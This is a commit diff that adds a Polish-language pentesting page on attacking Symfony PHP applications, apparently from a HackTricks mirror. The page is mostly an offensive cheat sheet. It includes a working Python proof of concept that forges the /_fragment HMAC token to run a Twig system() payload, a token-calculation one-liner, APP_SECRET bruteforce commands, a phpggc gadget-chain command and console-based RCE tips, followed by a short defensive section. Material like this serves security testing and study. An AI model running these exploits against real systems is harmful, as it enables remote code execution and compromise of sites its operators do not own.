mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/symphony.md'
This commit is contained in:
parent
3aae561f0d
commit
ec2ae51106
@ -2,10 +2,123 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Zobacz następujące posty:
|
||||
Symfony jest jednym z najczęściej używanych frameworków PHP i regularnie pojawia się w ocenach celów przedsiębiorstw, e-commerce i CMS (Drupal, Shopware, Ibexa, OroCRM … wszystkie zawierają komponenty Symfony). Ta strona zbiera ofensywne wskazówki, powszechne błędy konfiguracyjne i niedawne luki, które powinny znaleźć się na twojej liście kontrolnej, gdy odkryjesz aplikację Symfony.
|
||||
|
||||
- [**https://www.ambionics.io/blog/symfony-secret-fragment**](https://www.ambionics.io/blog/symfony-secret-fragment)
|
||||
- [**hhttps://blog.flatt.tech/entry/2020/11/02/124807**](https://blog.flatt.tech/entry/2020/11/02/124807)
|
||||
- [**https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144**](https://infosecwriteups.com/how-i-was-able-to-find-multiple-vulnerabilities-of-a-symfony-web-framework-web-application-2b82cd5de144)
|
||||
> Uwaga historyczna: Duża część ekosystemu nadal działa na gałęzi **5.4 LTS** (EOL **listopad 2025**). Zawsze weryfikuj dokładną wersję minor, ponieważ wiele poradników dotyczących bezpieczeństwa z lat 2023-2025 naprawiono tylko w wydaniach poprawek (np. 5.4.46 → 5.4.50).
|
||||
|
||||
---
|
||||
|
||||
## Recon & Enumeration
|
||||
|
||||
### Finger-printing
|
||||
* Nagłówki odpowiedzi HTTP: `X-Powered-By: Symfony`, `X-Debug-Token`, `X-Debug-Token-Link` lub ciasteczka zaczynające się od `sf_redirect`, `sf_session`, `MOCKSESSID`.
|
||||
* Wycieki kodu źródłowego (`composer.json`, `composer.lock`, `/vendor/…`) często ujawniają dokładną wersję:
|
||||
```bash
|
||||
curl -s https://target/vendor/composer/installed.json | jq '.[] | select(.name|test("symfony/")) | .name,.version'
|
||||
```
|
||||
* Publiczne trasy, które istnieją tylko w Symfony:
|
||||
* `/_profiler` (Symfony **Profiler** & debug toolbar)
|
||||
* `/_wdt/<token>` (“Web Debug Toolbar”)
|
||||
* `/_error/{code}.{_format}` (ładne strony błędów)
|
||||
* `/app_dev.php`, `/config.php`, `/config_dev.php` (pre-4.0 dev front-controllers)
|
||||
* Wappalyzer, BuiltWith lub listy słów ffuf/feroxbuster: `symfony.txt` → szukaj `/_fragment`, `/_profiler`, `.env`, `.htaccess`.
|
||||
|
||||
### Interesujące pliki i punkty końcowe
|
||||
| Ścieżka | Dlaczego to ważne |
|
||||
|------|----------------|
|
||||
| `/.env`, `/.env.local`, `/.env.prod` | Często źle wdrożone → wycieki `APP_SECRET`, dane DB, SMTP, klucze AWS |
|
||||
| `/.git`, `.svn`, `.hg` | Ujawnienie źródła → dane uwierzytelniające + logika biznesowa |
|
||||
| `/var/log/*.log`, `/log/dev.log` | Błędna konfiguracja web-root ujawnia stack-traces |
|
||||
| `/_profiler` | Pełna historia żądań, konfiguracja, kontener usług, **APP_SECRET** (≤ 3.4) |
|
||||
| `/_fragment` | Punkt wejścia używany przez ESI/HInclude. Możliwość nadużycia, gdy znasz `APP_SECRET` |
|
||||
| `/vendor/phpunit/phpunit/phpunit` | PHPUnit RCE, jeśli dostępne (CVE-2017-9841) |
|
||||
| `/index.php/_error/{code}` | Finger-print & czasami wyciek śladów wyjątków |
|
||||
|
||||
---
|
||||
|
||||
## Wysokiego wpływu luki (2023-2025)
|
||||
|
||||
### 1. Ujawnienie APP_SECRET ➜ RCE przez `/_fragment` (znane jako “secret-fragment”)
|
||||
* **CVE-2019-18889** pierwotnie, ale *nadal* pojawia się na nowoczesnych celach, gdy debugowanie jest włączone lub `.env` jest ujawnione.
|
||||
* Gdy znasz 32-znakowy `APP_SECRET`, stwórz token HMAC i nadużyj wewnętrznego kontrolera `render()`, aby wykonać dowolny Twig:
|
||||
```python
|
||||
# PoC – wymaga sekretu
|
||||
import hmac, hashlib, requests, urllib.parse as u
|
||||
secret = bytes.fromhex('deadbeef…')
|
||||
payload = "{{['id']|filter('system')}}" # RCE w Twig
|
||||
query = {
|
||||
'template': '@app/404.html.twig',
|
||||
'filter': 'raw',
|
||||
'_format': 'html',
|
||||
'_locale': 'en',
|
||||
'globals[cmd]': 'id'
|
||||
}
|
||||
qs = u.urlencode(query, doseq=True)
|
||||
token = hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest()
|
||||
r = requests.get(f"https://target/_fragment?{qs}&_token={token}")
|
||||
print(r.text)
|
||||
```
|
||||
* Doskonały artykuł i skrypt do eksploatacji: blog Ambionics (link w Referencjach).
|
||||
|
||||
### 2. Windows Process Hijack – CVE-2024-51736
|
||||
* Komponent `Process` przeszukiwał bieżący katalog roboczy **przed** `PATH` w systemie Windows. Atakujący, który może przesłać `tar.exe`, `cmd.exe` itp. do zapisywalnego web-root i wywołać `Process` (np. ekstrakcja plików, generowanie PDF) zyskuje możliwość wykonania poleceń.
|
||||
* Naprawione w 5.4.50, 6.4.14, 7.1.7.
|
||||
|
||||
### 3. Session-Fixation – CVE-2023-46733
|
||||
* Guard uwierzytelniający ponownie używał istniejącego identyfikatora sesji po zalogowaniu. Jeśli atakujący ustawi ciasteczko **przed** uwierzytelnieniem ofiary, przejmuje konto po zalogowaniu.
|
||||
|
||||
### 4. Twig sandbox XSS – CVE-2023-46734
|
||||
* W aplikacjach, które ujawniają szablony kontrolowane przez użytkowników (admin CMS, kreator e-maili), filtr `nl2br` mógł być nadużyty do obejścia sandboxa i wstrzyknięcia JS.
|
||||
|
||||
### 5. Symfony 1 gadget chains (nadal występują w aplikacjach legacy)
|
||||
* `phpggc symfony/1 system id` produkuje ładunek Phar, który wywołuje RCE, gdy następuje unserialize() na klasach takich jak `sfNamespacedParameterHolder`. Sprawdź punkty końcowe przesyłania plików i opakowania `phar://`.
|
||||
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/php-deserialization-+-autoload-classes.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Arkusz oszustw dotyczący eksploatacji
|
||||
|
||||
### Oblicz token HMAC dla `/_fragment`
|
||||
```bash
|
||||
python - <<'PY'
|
||||
import sys, hmac, hashlib, urllib.parse as u
|
||||
secret = bytes.fromhex(sys.argv[1])
|
||||
qs = u.quote_plus(sys.argv[2], safe='=&')
|
||||
print(hmac.new(secret, qs.encode(), hashlib.sha256).hexdigest())
|
||||
PY deadbeef… "template=@App/evil&filter=raw&_format=html"
|
||||
```
|
||||
### Bruteforce słabego `APP_SECRET`
|
||||
```bash
|
||||
cewl -d3 https://target -w words.txt
|
||||
symfony-secret-bruteforce.py -w words.txt -c abcdef1234567890 https://target
|
||||
```
|
||||
### RCE przez wystawiony Symfony Console
|
||||
Jeśli `bin/console` jest dostępny przez `php-fpm` lub bezpośredni upload CLI:
|
||||
```bash
|
||||
php bin/console about # confirm it works
|
||||
php bin/console cache:clear --no-warmup
|
||||
```
|
||||
Użyj gadżetów deserializacji w katalogu pamięci podręcznej lub napisz złośliwy szablon Twig, który zostanie wykonany przy następnym żądaniu.
|
||||
|
||||
---
|
||||
|
||||
## Uwagi defensywne
|
||||
1. **Nigdy nie wdrażaj debugowania** (`APP_ENV=dev`, `APP_DEBUG=1`) na produkcję; zablokuj `/app_dev.php`, `/_profiler`, `/_wdt` w konfiguracji serwera WWW.
|
||||
2. Przechowuj sekrety w zmiennych środowiskowych lub `vault/secrets.local.php`, *nigdy* w plikach dostępnych przez katalog główny dokumentów.
|
||||
3. Wymuszaj zarządzanie łatkami – subskrybuj powiadomienia o bezpieczeństwie Symfony i utrzymuj przynajmniej poziom łatki LTS.
|
||||
4. Jeśli działasz na Windows, natychmiast zaktualizuj, aby złagodzić CVE-2024-51736 lub dodaj obronę w głębokości `open_basedir`/`disable_functions`.
|
||||
|
||||
---
|
||||
|
||||
### Przydatne narzędzia ofensywne
|
||||
* **ambionics/symfony-exploits** – zdalne wykonanie kodu z fragmentem sekretnym, odkrywanie tras debugera.
|
||||
* **phpggc** – gotowe łańcuchy gadżetów dla Symfony 1 i 2.
|
||||
* **sf-encoder** – mały pomocnik do obliczania HMAC `_fragment` (implementacja w Go).
|
||||
|
||||
## Odniesienia
|
||||
* [Ambionics – Symfony “secret-fragment” Remote Code Execution](https://www.ambionics.io/blog/symfony-secret-fragment)
|
||||
* [Symfony Security Advisory – CVE-2024-51736: Command Execution Hijack on Windows Process Component](https://symfony.com/blog/cve-2024-51736-command-execution-hijack-on-windows-with-process-class)
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user